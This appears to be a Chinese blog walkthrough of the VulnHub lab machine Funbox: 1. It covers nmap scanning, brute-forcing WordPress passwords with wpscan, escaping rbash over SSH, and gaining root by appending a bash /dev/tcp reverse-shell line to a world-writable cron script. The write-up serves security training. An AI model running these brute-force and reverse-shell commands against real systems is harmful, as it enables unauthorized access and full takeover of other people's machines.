当前位置:网站首页>vulnhub Funbox: 1
vulnhub Funbox: 1
2022-07-15 12:45:00 【仙女象】
渗透思路:
nmap扫描----wpscan爆破网站用户名和密码----joe用户ssh登录并绕过rbash----文件权限777定时任务提权(多个用户定时任务执行同一个文件)
环境信息:
靶机:192.168.101.82
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.82扫描到tcp端口21、22、80、33060

2、修改/etc/hosts
浏览器访问靶机80端口http://192.168.101.82,会自动跳转到http://funbox.fritz.box/,但由于没有在hosts文件中配置ip和域名的映射关系,因此无法正常访问网站。
修改攻击机的/etc/hosts文件
sudo vim /etc/hosts加上
192.168.101.82 funbox.fritz.box

再在浏览器中访问http://funbox.fritz.box/,即可正常访问,并且可以看出站点是基于wordpress的(如果从外观不能确定的话,拉到最下面可以看到Proudly powered by WordPress。或者也可以用dirb或gobuster等扫描网站目录)

3、wpscan爆破网站用户名和密码
首先用wpscan枚举网站用户名
wpscan --url http://funbox.fritz.box/ -e发现两个用户名:admin和joe

再用wpscan爆破网站用户的密码,其中user.txt中包含admin和joe两个用户名(各一行),密码字典用的是kali自带的rockyou.txt
wpscan --url http://funbox.fritz.box/ -U user.txt -P rockyou.txt两个用户的密码都爆破出来了
| Username: joe, Password: 12345
| Username: admin, Password: iubire

4、joe用户ssh登录并绕过rbash
浏览器访问wordpress的登录页面:http://funbox.fritz.box/wp-login.php

本来打算能用admin登录就用,哪知道admin登录还开启了邮件验证

只能退而求其次改用joe登录,登录后来到http://funbox.fritz.box/wp-admin/

很可惜,没发现可以getshell的漏洞
尝试用步骤3中爆破出的用户名和密码进行ssh登录,admin无法登录,joe可以登录成功
ssh [email protected]密码12345

想执行find命令的时候发现这是个rbash

退出ssh登录,重新ssh登录,并在登陆时加上-t参数绕过rbash
ssh [email protected] -t "bash --noprofile"这样登录后就可以绕过rbash限制

5、文件权限777定时任务提权
进入/home文件夹,发现除了joe的家目录,还有funny的家目录。

进入funny家目录,发现文件.reminder.sh,查看内容发现提示管理员会持续测试脚本.backup.sh,也就是说这可能是个定时任务,而这个.backup.sh又这么巧文件权限是777,也就是joe也有修改它的权限


在攻击机上nc监听8888端口,并将反弹shell语句写入.backup.sh
echo "bash -i &>/dev/tcp/192.168.101.34/8888 <&1" >> .backup.sh
稍等片刻,在攻击机上nc监听的端口上即可得到funny的反弹shell
输入如下命令得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
之后尝试寻找了很多提权方法都没找到,最后看了这篇writeup才发现原来root和funny都定时执行.backup.sh
VulnHub Funbox 1 Walkthrough - Rbash Escape
细想来,.reminder.sh中确实提示了admin会长期测试.backup.sh。
于是我同时在两个终端中用nc监听8888端口,并且一旦获得funny用户的反弹shell就终端连接并重新开始监听8888端口,最后终于在漫长的几分钟之后,得到了root的反弹shell

题外话(root和funny的定时任务)
root和funny的定时任务都在/var/spool/cron/crontabs文件夹下

/var/spool/cron/crontabs/funny内容如下,每2分钟执行一次/home/funny/.backup.sh

/var/spool/cron/crontabs/root内容如下,每5分钟执行一次/home/funny/.backup.sh

边栏推荐
- 上云精品 | 云商店助力慧科 推动校企联合,共育人才发展
- PD-Server GRPC 接口图解
- MSP430 - timer (output comparison encoder speed measurement) (V)
- 盖茨再捐200亿美元,谷歌云转投ARM,推特员工因马斯克遭CEO警告,今日更多大新闻在此...
- LNMP architecture PHP installation
- The colleague next to me was suddenly promoted to meituan P7 because he secretly learned this JVM note?
- [200 opencv routines] 230 LBP statistical histogram of feature description
- Use USBASP to write programs to Arduino uno through ICSP mode
- Online office, how to make collaboration more efficient?
- Equal subtrees on binary trees
猜你喜欢

How does Xishanju build a game industry assembly line with ones? | Ones industry practice

数据传输:同构异IP数据源批量抽取实践

Will the expired data of redis be deleted immediately? Great mystery

浅谈 Slack Channel 支持的一些提高工作效率的特性

西山居如何用 ONES 打造游戏工业流水线?|ONES 行业实践

std::unique_ptr作为形参时的使用问题

Realizing deep learning framework from zero -- glove

The colleague next to me was suddenly promoted to meituan P7 because he secretly learned this JVM note?

Two years of crud, two ordinary graduates, three months of challenge interview Ali, successfully won the offer grading P7! Annual salary 50W

腾讯T4架构师带你“一窥”大型网站架构的主要技术挑战和解决方案
随机推荐
腾讯T4架构师带你“一窥”大型网站架构的主要技术挑战和解决方案
Andorid studio makes happy writing numbers (timer start + frame animation)
Redis connection pool
The US Treasury Department approved the transaction of chemical fertilizers and agricultural products with Russia
Google Earth engine (GEE) - random forest classification has mapped the detailed code of mangrove app in Guyana in 2000, 2010 and 2020
布局元宇宙社交,数字经济将迎来发展新机遇
PD-Server GRPC 接口图解
leetcode:300. 最长递增子序列【LIS板子 + 贪心二分 + nlogn】
torch. Max () and numpy Discrimination of max () use
Google Earth Engine(GEE)——随机森林分类法绘制了2000年、2010年和2020年圭亚那的红树林APP详细代码
Chromium Threading and Task
DEVKIT-mpc5744p配置rtos
第106期:HREE.JS的应用场景和基本概念
Between the virtual and the real 03 | with these technologies, you are the "magic pen Ma Liang" that makes digital people live
朱松纯团队最新研究:机器人可与人类“推心置腹”!还说下一步要造“AI大白”...
[Xingguang 04] 2022 deep learning GPU form
go-zero微服务实战系列(五、缓存代码怎么写)
The world's first commercial cryptographic chip against quantum attack | Muchuang
Two years of crud, two ordinary graduates, three months of challenge interview Ali, successfully won the offer grading P7! Annual salary 50W
Go zero micro service practical series (v. how to write cache code)